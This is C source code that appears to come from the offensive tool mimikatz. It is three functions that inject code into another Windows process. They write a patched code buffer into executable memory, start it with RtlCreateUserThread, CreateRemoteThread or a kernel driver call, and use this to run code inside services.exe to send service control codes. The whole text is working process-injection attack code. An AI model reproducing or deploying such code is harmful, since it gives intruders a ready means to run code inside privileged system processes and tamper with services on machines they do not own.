BOOL kull_m_remotelib_CreateRemoteCodeWitthPatternReplace(PKULL_M_MEMORY_HANDLE hProcess, LPCVOID Buffer, DWORD BufferSize, PMULTIPLE_REMOTE_EXT RemoteExt, PKULL_M_MEMORY_ADDRESS DestAddress) { BOOL success = FALSE; DWORD i, j; KULL_M_MEMORY_HANDLE hLocalMemory = {KULL_M_MEMORY_TYPE_OWN, NULL}; KULL_M_MEMORY_ADDRESS aLocalAddr = {(LPVOID) Buffer, &hLocalMemory}; DestAddress->hMemory = hProcess; DestAddress->address = NULL; if(RemoteExt) { if(kull_m_remotelib_GetProcAddressMultipleModules(hProcess, RemoteExt)) { if(aLocalAddr.address = LocalAlloc(LPTR, BufferSize)) { RtlCopyMemory(aLocalAddr.address, Buffer, BufferSize); for(i = 0; i < BufferSize - sizeof(PVOID); i++) { for(j = 0; j < RemoteExt->count; j++) { if((PVOID) RemoteExt->extensions[j].ToReplace == *(PVOID *) ((PBYTE) aLocalAddr.address + i)) { *(PVOID *) ((PBYTE) aLocalAddr.address + i) = RemoteExt->extensions[j].Pointer; //kprintf(L"Found =) - %.*S - %s!%S -> %p\n", sizeof(PVOID), &RemoteExt->extensions[j].ToReplace, RemoteExt->extensions[j].Module, RemoteExt->extensions[j].Function, *(PVOID *) ((PBYTE) aLocalAddr.address + i)); i += sizeof(PVOID) - 1; } } } } } } if(aLocalAddr.address) { if(kull_m_memory_alloc(DestAddress, BufferSize, PAGE_EXECUTE_READWRITE)) { if(!(success = kull_m_memory_copy(DestAddress, &aLocalAddr, BufferSize))) { PRINT_ERROR_AUTO(L"kull_m_memory_copy"); kull_m_memory_free(DestAddress, 0); } } else PRINT_ERROR_AUTO(L"kull_m_memory_alloc / VirtualAlloc(Ex)"); if(RemoteExt) LocalFree(aLocalAddr.address); } else PRINT_ERROR(L"No buffer ?\n"); return success; }
BOOL kull_m_remotelib_create(PKULL_M_MEMORY_ADDRESS aRemoteFunc, PREMOTE_LIB_INPUT_DATA input, PREMOTE_LIB_OUTPUT_DATA output) { BOOL success = FALSE; NTSTATUS status; HANDLE hThread; KULL_M_MEMORY_HANDLE hLocalBuffer = {KULL_M_MEMORY_TYPE_OWN, NULL}; KULL_M_MEMORY_ADDRESS aRemoteData = {NULL, aRemoteFunc->hMemory}, aSuppData = {NULL, aRemoteFunc->hMemory}, aLocalAddr = {NULL, &hLocalBuffer}; PREMOTE_LIB_DATA data; REMOTE_LIB_OUTPUT_DATA oData; MIMIDRV_THREAD_INFO drvInfo = {(PTHREAD_START_ROUTINE) aRemoteFunc->address, NULL}; DWORD size = FIELD_OFFSET(REMOTE_LIB_DATA, input.inputData) + input->inputSize; if(!output) output = &oData; //kprintf(L"\ninput\n" // L".void = 0x%p\n" // L".dword = 0x%08x - %u\n" // L".size = %u\n" // L".data[] = [ ", // input->inputVoid, input->inputDword, input->inputDword, input->inputSize); //kull_m_string_wprintf_hex(input->inputData, input->inputSize, 1); //kprintf(L"]\n"); if(data = (PREMOTE_LIB_DATA) LocalAlloc(LPTR, size)) { RtlCopyMemory(&data->input, input, FIELD_OFFSET(REMOTE_LIB_INPUT_DATA, inputData) + input->inputSize); if(kull_m_memory_alloc(&aRemoteData, size, PAGE_READWRITE)) { aLocalAddr.address = data; if(kull_m_memory_copy(&aRemoteData, &aLocalAddr, size)) { switch(aRemoteFunc->hMemory->type) { case KULL_M_MEMORY_TYPE_PROCESS: if(MIMIKATZ_NT_MAJOR_VERSION > 5) { status = RtlCreateUserThread(aRemoteFunc->hMemory->pHandleProcess->hProcess, NULL, 0, 0, 0, 0, (PTHREAD_START_ROUTINE) aRemoteFunc->address, aRemoteData.address, &hThread, NULL); if(!NT_SUCCESS(status)) { hThread = NULL; PRINT_ERROR(L"RtlCreateUserThread (0x%08x)\n", status); } } else if(!(hThread = CreateRemoteThread(aRemoteFunc->hMemory->pHandleProcess->hProcess, NULL, 0, (PTHREAD_START_ROUTINE) aRemoteFunc->address, aRemoteData.address, 0, NULL))) PRINT_ERROR_AUTO(L"CreateRemoteThread"); if(hThread) { WaitForSingleObject(hThread, INFINITE); success = CloseHandle(hThread); } break; case KULL_M_MEMORY_TYPE_KERNEL: drvInfo.pArg = aRemoteData.address; kprintf(L"Th @ %p\nDa @ %p\n", drvInfo.pRoutine, drvInfo.pArg); if(!(success = kull_m_kernel_ioctl_handle(aRemoteFunc->hMemory->pHandleDriver->hDriver, IOCTL_MIMIDRV_CREATEREMOTETHREAD, &drvInfo, sizeof(MIMIDRV_THREAD_INFO), NULL, NULL, FALSE))) PRINT_ERROR_AUTO(L"kull_m_kernel_ioctl_handle"); break; } if(success) { aLocalAddr.address = output; if(success = kull_m_memory_copy(&aLocalAddr, &aRemoteData, sizeof(REMOTE_LIB_OUTPUT_DATA))) { //kprintf(L"\noutput\n" // L".void = 0x%p\n" // L".dword = 0x%08x - %u\n" // L".status = 0x%08x - %u\n" // L".size = %u\n" // L".data = 0x%p\n", // output->outputVoid, output->outputDword, output->outputDword, output->outputStatus, output->outputStatus, output->outputSize, output->outputData); if(aSuppData.address = output->outputData) { if(output != &oData) { success = FALSE; output->outputData = NULL; if(output->outputSize) { if(aLocalAddr.address = LocalAlloc(LPTR, output->outputSize)) { if(success = kull_m_memory_copy(&aLocalAddr, &aSuppData, output->outputSize)) { output->outputData = aLocalAddr.address; //kprintf(L"\t[ "); kull_m_string_wprintf_hex(output->outputData, output->outputSize, 1); kprintf(L"]\n"); } else LocalFree(aLocalAddr.address); } } if(!success) output->outputSize = 0; } kull_m_memory_free(&aSuppData, 0); } } } } kull_m_memory_free(&aRemoteData, 0); } LocalFree(data); } return success; }
BOOL kuhl_service_sendcontrol_inprocess(PWSTR ServiceName, DWORD dwControl) { BOOL status = FALSE; DWORD processId, szCode; PVOID pCode; HANDLE hProcess; KULL_M_MEMORY_ADDRESS aRemoteFunc; KULL_M_MEMORY_ADDRESS aLocalMemory = {NULL, &KULL_M_MEMORY_GLOBAL_OWN_HANDLE}; KULL_M_MEMORY_SEARCH sMemory; PKULL_M_PATCH_GENERIC currentReference; PEB Peb; PIMAGE_NT_HEADERS pNtHeaders; PREMOTE_LIB_INPUT_DATA iData; REMOTE_LIB_OUTPUT_DATA oData; if(kull_m_process_getProcessIdForName(L"services.exe", &processId)) { if(hProcess = OpenProcess(PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_QUERY_INFORMATION | PROCESS_CREATE_THREAD, FALSE, processId)) { if(kull_m_memory_open(KULL_M_MEMORY_TYPE_PROCESS, hProcess, &sMemory.kull_m_memoryRange.kull_m_memoryAdress.hMemory)) { if(!pScSendControl) { if(kull_m_process_peb(sMemory.kull_m_memoryRange.kull_m_memoryAdress.hMemory, &Peb, FALSE)) { sMemory.kull_m_memoryRange.kull_m_memoryAdress.address = Peb.ImageBaseAddress; if(kull_m_process_ntheaders(&sMemory.kull_m_memoryRange.kull_m_memoryAdress, &pNtHeaders)) { sMemory.kull_m_memoryRange.kull_m_memoryAdress.address = (LPVOID) pNtHeaders->OptionalHeader.ImageBase; sMemory.kull_m_memoryRange.size = pNtHeaders->OptionalHeader.SizeOfImage; if(currentReference = kull_m_patch_getGenericFromBuild(ScSendControlReferences, ARRAYSIZE(ScSendControlReferences), MIMIKATZ_NT_BUILD_NUMBER)) { aLocalMemory.address = currentReference->Search.Pattern; if(kull_m_memory_search(&aLocalMemory, currentReference->Search.Length, &sMemory, FALSE)) pScSendControl = (PBYTE) sMemory.result + currentReference->Offsets.off0; else PRINT_ERROR_AUTO(L"kull_m_memory_search"); } LocalFree(pNtHeaders); } } } if(pScSendControl) { if(MIMIKATZ_NT_BUILD_NUMBER < KULL_M_WIN_BUILD_8) { szCode = (DWORD) ((PBYTE) kuhl_service_sendcontrol_std_thread_end - (PBYTE) kuhl_service_sendcontrol_std_thread); pCode = kuhl_service_sendcontrol_std_thread; } else { szCode = (DWORD) ((PBYTE) kuhl_service_sendcontrol_fast_thread_end - (PBYTE) kuhl_service_sendcontrol_fast_thread); pCode = kuhl_service_sendcontrol_fast_thread; } if(kull_m_remotelib_CreateRemoteCodeWitthPatternReplace(sMemory.kull_m_memoryRange.kull_m_memoryAdress.hMemory, pCode, szCode, NULL, &aRemoteFunc)) { if(iData = kull_m_remotelib_CreateInput(pScSendControl, dwControl, (DWORD) (wcslen(ServiceName) + 1) * sizeof(wchar_t), ServiceName)) { if(kull_m_remotelib_create(&aRemoteFunc, iData, &oData)) { if(oData.outputStatus) kprintf(L"error %u\n", oData.outputStatus); else kprintf(L"OK!\n"); } else PRINT_ERROR_AUTO(L"kull_m_remotelib_create"); LocalFree(iData); } kull_m_memory_free(&aRemoteFunc, 0); } else PRINT_ERROR(L"kull_m_remotelib_CreateRemoteCodeWitthPatternReplace\n"); } else PRINT_ERROR(L"Not available without ScSendControl\n"); kull_m_memory_close(sMemory.kull_m_memoryRange.kull_m_memoryAdress.hMemory); } CloseHandle(hProcess); } else PRINT_ERROR_AUTO(L"OpenProcess"); } return status; }